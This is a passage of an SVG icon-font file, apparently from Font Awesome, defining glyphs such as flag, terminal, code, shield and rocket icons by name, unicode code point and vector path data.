q-15 -9 -33 -9q-16 0 -32 8q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="flag_checkered" unicode="&#xf11e;" horiz-adv-x="1792" 
d="M832 536v192q-181 -16 -384 -117v-185q205 96 384 110zM832 954v197q-172 -8 -384 -126v-189q215 111 384 118zM1664 491v184q-235 -116 -384 -71v224q-20 6 -39 15q-5 3 -33 17t-34.5 17t-31.5 15t-34.5 15.5t-32.5 13t-36 12.5t-35 8.5t-39.5 7.5t-39.5 4t-44 2
q-23 0 -49 -3v-222h19q102 0 192.5 -29t197.5 -82q19 -9 39 -15v-188q42 -17 91 -17q120 0 293 92zM1664 918v189q-169 -91 -306 -91q-45 0 -78 8v-196q148 -42 384 90zM320 1280q0 -35 -17.5 -64t-46.5 -46v-1266q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v1266
q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -39 -35 -57q-10 -5 -17 -9q-218 -116 -369 -116q-88 0 -158 35l-28 14q-64 33 -99 48t-91 29t-114 14q-102 0 -235.5 -44t-228.5 -102q-15 -9 -33 -9q-16 0 -32 8
q-32 19 -32 56v742q0 35 31 55q35 21 78.5 42.5t114 52t152.5 49.5t155 19q112 0 209 -31t209 -86q38 -19 89 -19q122 0 310 112q22 12 31 17q31 16 62 -2q31 -20 31 -55z" />
    <glyph glyph-name="terminal" unicode="&#xf120;" horiz-adv-x="1664" 
d="M585 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23zM1664 96v-64q0 -14 -9 -23t-23 -9h-960q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h960q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="code" unicode="&#xf121;" horiz-adv-x="1920" 
d="M617 137l-50 -50q-10 -10 -23 -10t-23 10l-466 466q-10 10 -10 23t10 23l466 466q10 10 23 10t23 -10l50 -50q10 -10 10 -23t-10 -23l-393 -393l393 -393q10 -10 10 -23t-10 -23zM1208 1204l-373 -1291q-4 -13 -15.5 -19.5t-23.5 -2.5l-62 17q-13 4 -19.5 15.5t-2.5 24.5
l373 1291q4 13 15.5 19.5t23.5 2.5l62 -17q13 -4 19.5 -15.5t2.5 -24.5zM1865 553l-466 -466q-10 -10 -23 -10t-23 10l-50 50q-10 10 -10 23t10 23l393 393l-393 393q-10 10 -10 23t10 23l50 50q10 10 23 10t23 -10l466 -466q10 -10 10 -23t-10 -23z" />
    <glyph glyph-name="reply_all" unicode="&#xf122;" horiz-adv-x="1792" 
d="M640 454v-70q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-69l-397 -398q-19 -19 -19 -45t19 -45zM1792 416q0 -58 -17 -133.5t-38.5 -138t-48 -125t-40.5 -90.5l-20 -40q-8 -17 -28 -17q-6 0 -9 1
q-25 8 -23 34q43 400 -106 565q-64 71 -170.5 110.5t-267.5 52.5v-251q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-512 512q-19 19 -19 45t19 45l512 512q29 31 70 14q39 -17 39 -59v-262q411 -28 599 -221q169 -173 169 -509z" />
    <glyph glyph-name="star_half_empty" unicode="&#xf123;" horiz-adv-x="1664" 
d="M1186 579l257 250l-356 52l-66 10l-30 60l-159 322v-963l59 -31l318 -168l-60 355l-12 66zM1638 841l-363 -354l86 -500q5 -33 -6 -51.5t-34 -18.5q-17 0 -40 12l-449 236l-449 -236q-23 -12 -40 -12q-23 0 -34 18.5t-6 51.5l86 500l-364 354q-32 32 -23 59.5t54 34.5
l502 73l225 455q20 41 49 41q28 0 49 -41l225 -455l502 -73q45 -7 54 -34.5t-24 -59.5z" />
    <glyph glyph-name="location_arrow" unicode="&#xf124;" horiz-adv-x="1408" 
d="M1401 1187l-640 -1280q-17 -35 -57 -35q-5 0 -15 2q-22 5 -35.5 22.5t-13.5 39.5v576h-576q-22 0 -39.5 13.5t-22.5 35.5t4 42t29 30l1280 640q13 7 29 7q27 0 45 -19q15 -14 18.5 -34.5t-6.5 -39.5z" />
    <glyph glyph-name="crop" unicode="&#xf125;" horiz-adv-x="1664" 
d="M557 256h595v595zM512 301l595 595h-595v-595zM1664 224v-192q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v224h-864q-14 0 -23 9t-9 23v864h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224v224q0 14 9 23t23 9h192q14 0 23 -9t9 -23
v-224h851l246 247q10 9 23 9t23 -9q9 -10 9 -23t-9 -23l-247 -246v-851h224q14 0 23 -9t9 -23z" />
    <glyph glyph-name="code_fork" unicode="&#xf126;" horiz-adv-x="1024" 
d="M288 64q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM288 1216q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM928 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1024 1088q0 -52 -26 -96.5t-70 -69.5
q-2 -287 -226 -414q-67 -38 -203 -81q-128 -40 -169.5 -71t-41.5 -100v-26q44 -25 70 -69.5t26 -96.5q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 52 26 96.5t70 69.5v820q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136q0 -52 -26 -96.5t-70 -69.5v-497
q54 26 154 57q55 17 87.5 29.5t70.5 31t59 39.5t40.5 51t28 69.5t8.5 91.5q-44 25 -70 69.5t-26 96.5q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="unlink" unicode="&#xf127;" horiz-adv-x="1664" 
d="M439 265l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23zM608 224v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM384 448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23t9 23t23 9h320
q14 0 23 -9t9 -23zM1648 320q0 -120 -85 -203l-147 -146q-83 -83 -203 -83q-121 0 -204 85l-334 335q-21 21 -42 56l239 18l273 -274q27 -27 68 -27.5t68 26.5l147 146q28 28 28 67q0 40 -28 68l-274 275l18 239q35 -21 56 -42l336 -336q84 -86 84 -204zM1031 1044l-239 -18
l-273 274q-28 28 -68 28q-39 0 -68 -27l-147 -146q-28 -28 -28 -67q0 -40 28 -68l274 -274l-18 -240q-35 21 -56 42l-336 336q-84 86 -84 204q0 120 85 203l147 146q83 83 203 83q121 0 204 -85l334 -335q21 -21 42 -56zM1664 960q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9
t-9 23t9 23t23 9h320q14 0 23 -9t9 -23zM1120 1504v-320q0 -14 -9 -23t-23 -9t-23 9t-9 23v320q0 14 9 23t23 9t23 -9t9 -23zM1527 1353l-256 -256q-11 -9 -23 -9t-23 9q-9 10 -9 23t9 23l256 256q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="question" unicode="&#xf128;" horiz-adv-x="1024" 
d="M704 280v-240q0 -16 -12 -28t-28 -12h-240q-16 0 -28 12t-12 28v240q0 16 12 28t28 12h240q16 0 28 -12t12 -28zM1020 880q0 -54 -15.5 -101t-35 -76.5t-55 -59.5t-57.5 -43.5t-61 -35.5q-41 -23 -68.5 -65t-27.5 -67q0 -17 -12 -32.5t-28 -15.5h-240q-15 0 -25.5 18.5
t-10.5 37.5v45q0 83 65 156.5t143 108.5q59 27 84 56t25 76q0 42 -46.5 74t-107.5 32q-65 0 -108 -29q-35 -25 -107 -115q-13 -16 -31 -16q-12 0 -25 8l-164 125q-13 10 -15.5 25t5.5 28q160 266 464 266q80 0 161 -31t146 -83t106 -127.5t41 -158.5z" />
    <glyph glyph-name="_279" unicode="&#xf129;" horiz-adv-x="640" 
d="M640 192v-128q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h64v384h-64q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-576h64q26 0 45 -19t19 -45zM512 1344v-192q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v192
q0 26 19 45t45 19h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="exclamation" unicode="&#xf12a;" horiz-adv-x="640" 
d="M512 288v-224q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v224q0 26 19 45t45 19h256q26 0 45 -19t19 -45zM542 1344l-28 -768q-1 -26 -20.5 -45t-45.5 -19h-256q-26 0 -45.5 19t-20.5 45l-28 768q-1 26 17.5 45t44.5 19h320q26 0 44.5 -19t17.5 -45z" />
    <glyph glyph-name="superscript" unicode="&#xf12b;" 
d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1534 846v-206h-514l-3 27q-4 28 -4 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q83 65 188 65q110 0 178 -59.5t68 -158.5q0 -56 -24.5 -103t-62 -76.5t-81.5 -58.5t-82 -50.5
t-65.5 -51.5t-30.5 -63h232v80h126z" />
    <glyph glyph-name="subscript" unicode="&#xf12c;" 
d="M897 167v-167h-248l-159 252l-24 42q-8 9 -11 21h-3q-1 -3 -2.5 -6.5t-3.5 -8t-3 -6.5q-10 -20 -25 -44l-155 -250h-258v167h128l197 291l-185 272h-137v168h276l139 -228q2 -4 23 -42q8 -9 11 -21h3q3 9 11 21l25 42l140 228h257v-168h-125l-184 -267l204 -296h109z
M1536 -50v-206h-514l-4 27q-3 45 -3 46q0 64 26 117t65 86.5t84 65t84 54.5t65 54t26 64q0 38 -29.5 62.5t-70.5 24.5q-51 0 -97 -39q-14 -11 -36 -38l-105 92q26 37 63 66q80 65 188 65q110 0 178 -59.5t68 -158.5q0 -66 -34.5 -118.5t-84 -86t-99.5 -62.5t-87 -63t-41 -73
h232v80h126z" />
    <glyph glyph-name="_283" unicode="&#xf12d;" horiz-adv-x="1920" 
d="M896 128l336 384h-768l-336 -384h768zM1909 1205q15 -34 9.5 -71.5t-30.5 -65.5l-896 -1024q-38 -44 -96 -44h-768q-38 0 -69.5 20.5t-47.5 54.5q-15 34 -9.5 71.5t30.5 65.5l896 1024q38 44 96 44h768q38 0 69.5 -20.5t47.5 -54.5z" />
    <glyph glyph-name="puzzle_piece" unicode="&#xf12e;" horiz-adv-x="1664" 
d="M1664 438q0 -81 -44.5 -135t-123.5 -54q-41 0 -77.5 17.5t-59 38t-56.5 38t-71 17.5q-110 0 -110 -124q0 -39 16 -115t15 -115v-5q-22 0 -33 -1q-34 -3 -97.5 -11.5t-115.5 -13.5t-98 -5q-61 0 -103 26.5t-42 83.5q0 37 17.5 71t38 56.5t38 59t17.5 77.5q0 79 -54 123.5
t-135 44.5q-84 0 -143 -45.5t-59 -127.5q0 -43 15 -83t33.5 -64.5t33.5 -53t15 -50.5q0 -45 -46 -89q-37 -35 -117 -35q-95 0 -245 24q-9 2 -27.5 4t-27.5 4l-13 2q-1 0 -3 1q-2 0 -2 1v1024q2 -1 17.5 -3.5t34 -5t21.5 -3.5q150 -24 245 -24q80 0 117 35q46 44 46 89
q0 22 -15 50.5t-33.5 53t-33.5 64.5t-15 83q0 82 59 127.5t144 45.5q80 0 134 -44.5t54 -123.5q0 -41 -17.5 -77.5t-38 -59t-38 -56.5t-17.5 -71q0 -57 42 -83.5t103 -26.5q64 0 180 15t163 17v-2q-1 -2 -3.5 -17.5t-5 -34t-3.5 -21.5q-24 -150 -24 -245q0 -80 35 -117
q44 -46 89 -46q22 0 50.5 15t53 33.5t64.5 33.5t83 15q82 0 127.5 -59t45.5 -143z" />
    <glyph glyph-name="microphone" unicode="&#xf130;" horiz-adv-x="1152" 
d="M1152 832v-128q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-217 24 -364.5 187.5t-147.5 384.5v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -185 131.5 -316.5t316.5 -131.5
t316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45zM896 1216v-512q0 -132 -94 -226t-226 -94t-226 94t-94 226v512q0 132 94 226t226 94t226 -94t94 -226z" />
    <glyph glyph-name="microphone_off" unicode="&#xf131;" horiz-adv-x="1408" 
d="M271 591l-101 -101q-42 103 -42 214v128q0 26 19 45t45 19t45 -19t19 -45v-128q0 -53 15 -113zM1385 1193l-361 -361v-128q0 -132 -94 -226t-226 -94q-55 0 -109 19l-96 -96q97 -51 205 -51q185 0 316.5 131.5t131.5 316.5v128q0 26 19 45t45 19t45 -19t19 -45v-128
q0 -221 -147.5 -384.5t-364.5 -187.5v-132h256q26 0 45 -19t19 -45t-19 -45t-45 -19h-640q-26 0 -45 19t-19 45t19 45t45 19h256v132q-125 13 -235 81l-254 -254q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l1234 1234q10 10 23 10t23 -10l82 -82q10 -10 10 -23
t-10 -23zM1005 1325l-621 -621v512q0 132 94 226t226 94q102 0 184.5 -59t116.5 -152z" />
    <glyph glyph-name="shield" unicode="&#xf132;" horiz-adv-x="1280" 
d="M1088 576v640h-448v-1137q119 63 213 137q235 184 235 360zM1280 1344v-768q0 -86 -33.5 -170.5t-83 -150t-118 -127.5t-126.5 -103t-121 -77.5t-89.5 -49.5t-42.5 -20q-12 -6 -26 -6t-26 6q-16 7 -42.5 20t-89.5 49.5t-121 77.5t-126.5 103t-118 127.5t-83 150
t-33.5 170.5v768q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="calendar_empty" unicode="&#xf133;" horiz-adv-x="1664" 
d="M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="fire_extinguisher" unicode="&#xf134;" horiz-adv-x="1408" 
d="M512 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 1376v-320q0 -16 -12 -25q-8 -7 -20 -7q-4 0 -7 1l-448 96q-11 2 -18 11t-7 20h-256v-102q111 -23 183.5 -111t72.5 -203v-800q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v800
q0 106 62.5 190.5t161.5 114.5v111h-32q-59 0 -115 -23.5t-91.5 -53t-66 -66.5t-40.5 -53.5t-14 -24.5q-17 -35 -57 -35q-16 0 -29 7q-23 12 -31.5 37t3.5 49q5 10 14.5 26t37.5 53.5t60.5 70t85 67t108.5 52.5q-25 42 -25 86q0 66 47 113t113 47t113 -47t47 -113
q0 -33 -14 -64h302q0 11 7 20t18 11l448 96q3 1 7 1q12 0 20 -7q12 -9 12 -25z" />
    <glyph glyph-name="rocket" unicode="&#xf135;" horiz-adv-x="1664" 
d="M1440 1088q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1664 1376q0 -249 -75.5 -430.5t-253.5 -360.5q-81 -80 -195 -176l-20 -379q-2 -16 -16 -26l-384 -224q-7 -4 -16 -4q-12 0 -23 9l-64 64q-13 14 -8 32l85 276l-281 281l-276 -85q-3 -1 -9 -1
q-14 0 -23 9l-64 64q-17 19 -5 39l224 384q10 14 26 16l379 20q96 114 176 195q188 187 358 258t431 71q14 0 24 -9.5t10 -22.5z" />
    <glyph glyph-name="maxcdn" unicode="&#xf136;" horiz-adv-x="1792" 
d="M1745 763l-164 -763h-334l178 832q13 56 -15 88q-27 33 -83 33h-169l-204 -953h-334l204 953h-286l-204 -953h-334l204 953l-153 327h1276q101 0 189.5 -40.5t147.5 -113.5q60 -73 81 -168.5t0 -194.5z" />
    <glyph glyph-name="chevron_sign_left" unicode="&#xf137;" 
d="M909 141l102 102q19 19 19 45t-19 45l-307 307l307 307q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_right" unicode="&#xf138;" 
d="M717 141l454 454q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l307 -307l-307 -307q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_up" unicode="&#xf139;" 
d="M1165 397l102 102q19 19 19 45t-19 45l-454 454q-19 19 -45 19t-45 -19l-454 -454q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l307 307l307 -307q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="chevron_sign_down" unicode="&#xf13a;" 
d="M813 237l454 454q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-307 -307l-307 307q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l454 -454q19 -19 45 -19t45 19zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="html5" unicode="&#xf13b;" horiz-adv-x="1408" 
d="M1130 939l16 175h-884l47 -534h612l-22 -228l-197 -53l-196 53l-13 140h-175l22 -278l362 -100h4v1l359 99l50 544h-644l-15 181h674zM0 1408h1408l-128 -1438l-578 -162l-574 162z" />
    <glyph glyph-name="css3" unicode="&#xf13c;" horiz-adv-x="1792" 
d="M275 1408h1505l-266 -1333l-804 -267l-698 267l71 356h297l-29 -147l422 -161l486 161l68 339h-1208l58 297h1209l38 191h-1208z" />
    <glyph glyph-name="anchor" unicode="&#xf13d;" horiz-adv-x="1792" 
d="M960 1280q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1792 352v-352q0 -22 -20 -30q-8 -2 -12 -2q-12 0 -23 9l-93 93q-119 -143 -318.5 -226.5t-429.5 -83.5t-429.5 83.5t-318.5 226.5l-93 -93q-9 -9 -23 -9q-4 0 -12 2q-20 8 -20 30v352
q0 14 9 23t23 9h352q22 0 30 -20q8 -19 -7 -35l-100 -100q67 -91 189.5 -153.5t271.5 -82.5v647h-192q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h192v163q-58 34 -93 92.5t-35 128.5q0 106 75 181t181 75t181 -75t75 -181q0 -70 -35 -128.5t-93 -92.5v-163h192q26 0 45 -19
t19 -45v-128q0 -26 -19 -45t-45 -19h-192v-647q149 20 271.5 82.5t189.5 153.5l-100 100q-15 16 -7 35q8 20 30 20h352q14 0 23 -9t9 -23z" />
    <glyph glyph-name="unlock_alt" unicode="&#xf13e;" horiz-adv-x="1152" 
d="M1056 768q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v320q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45q0 106 -75 181t-181 75t-181 -75t-75 -181
v-320h736z" />
    <glyph glyph-name="bullseye" unicode="&#xf140;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM1152 640q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1280 640q0 -212 -150 -362t-362 -150t-362 150
t-150 362t150 362t362 150t362 -150t150 -362zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ellipsis_horizontal" unicode="&#xf141;" horiz-adv-x="1408" 
d="M384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM896 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM1408 800v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ellipsis_vertical" unicode="&#xf142;" horiz-adv-x="384" 
d="M384 288v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 1312v-192q0 -40 -28 -68t-68 -28h-192
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
    <glyph glyph-name="_303" unicode="&#xf143;" 
d="M512 256q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM863 162q-13 233 -176.5 396.5t-396.5 176.5q-14 1 -24 -9t-10 -23v-128q0 -13 8.5 -22t21.5 -10q154 -11 264 -121t121 -264q1 -13 10 -21.5t22 -8.5h128
q13 0 23 10t9 24zM1247 161q-5 154 -56 297.5t-139.5 260t-205 205t-260 139.5t-297.5 56q-14 1 -23 -9q-10 -10 -10 -23v-128q0 -13 9 -22t22 -10q204 -7 378 -111.5t278.5 -278.5t111.5 -378q1 -13 10 -22t22 -9h128q13 0 23 10q11 9 9 23zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="play_sign" unicode="&#xf144;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1152 585q32 18 32 55t-32 55l-544 320q-31 19 -64 1q-32 -19 -32 -56v-640q0 -37 32 -56
q16 -8 32 -8q17 0 32 9z" />
    <glyph glyph-name="ticket" unicode="&#xf145;" horiz-adv-x="1792" 
d="M1024 1084l316 -316l-572 -572l-316 316zM813 105l618 618q19 19 19 45t-19 45l-362 362q-18 18 -45 18t-45 -18l-618 -618q-19 -19 -19 -45t19 -45l362 -362q18 -18 45 -18t45 18zM1702 742l-907 -908q-37 -37 -90.5 -37t-90.5 37l-126 126q56 56 56 136t-56 136
t-136 56t-136 -56l-125 126q-37 37 -37 90.5t37 90.5l907 906q37 37 90.5 37t90.5 -37l125 -125q-56 -56 -56 -136t56 -136t136 -56t136 56l126 -125q37 -37 37 -90.5t-37 -90.5z" />
    <glyph glyph-name="minus_sign_alt" unicode="&#xf146;" 
d="M1280 576v128q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h896q26 0 45 19t19 45zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="check_minus" unicode="&#xf147;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h832q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5
t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="level_up" unicode="&#xf148;" horiz-adv-x="1024" 
d="M1018 933q-18 -37 -58 -37h-192v-864q0 -14 -9 -23t-23 -9h-704q-21 0 -29 18q-8 20 4 35l160 192q9 11 25 11h320v640h-192q-40 0 -58 37q-17 37 9 68l320 384q18 22 49 22t49 -22l320 -384q27 -32 9 -68z" />
    <glyph glyph-name="level_down" unicode="&#xf149;" horiz-adv-x="1024" 
d="M32 1280h704q13 0 22.5 -9.5t9.5 -23.5v-863h192q40 0 58 -37t-9 -69l-320 -384q-18 -22 -49 -22t-49 22l-320 384q-26 31 -9 69q18 37 58 37h192v640h-320q-14 0 -25 11l-160 192q-13 14 -4 34q9 19 29 19z" />
    <glyph glyph-name="check_sign" unicode="&#xf14a;" 
d="M685 237l614 614q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-467 -467l-211 211q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l358 -358q19 -19 45 -19t45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5
t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="edit_sign" unicode="&#xf14b;" 
d="M404 428l152 -152l-52 -52h-56v96h-96v56zM818 818q14 -13 -3 -30l-291 -291q-17 -17 -30 -3q-14 13 3 30l291 291q17 17 30 3zM544 128l544 544l-288 288l-544 -544v-288h288zM1152 736l92 92q28 28 28 68t-28 68l-152 152q-28 28 -68 28t-68 -28l-92 -92zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_312" unicode="&#xf14c;" 
d="M1280 608v480q0 26 -19 45t-45 19h-480q-42 0 -59 -39q-17 -41 14 -70l144 -144l-534 -534q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l534 534l144 -144q18 -19 45 -19q12 0 25 5q39 17 39 59zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960
q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="share_sign" unicode="&#xf14d;" 
d="M1005 435l352 352q19 19 19 45t-19 45l-352 352q-30 31 -69 14q-40 -17 -40 -59v-160q-119 0 -216 -19.5t-162.5 -51t-114 -79t-76.5 -95.5t-44.5 -109t-21.5 -111.5t-5 -110.5q0 -181 167 -404q11 -12 25 -12q7 0 13 3q22 9 19 33q-44 354 62 473q46 52 130 75.5
t224 23.5v-160q0 -42 40 -59q12 -5 24 -5q26 0 45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="compass" unicode="&#xf14e;" 
d="M640 448l256 128l-256 128v-256zM1024 1039v-542l-512 -256v542zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="collapse" unicode="&#xf150;" 
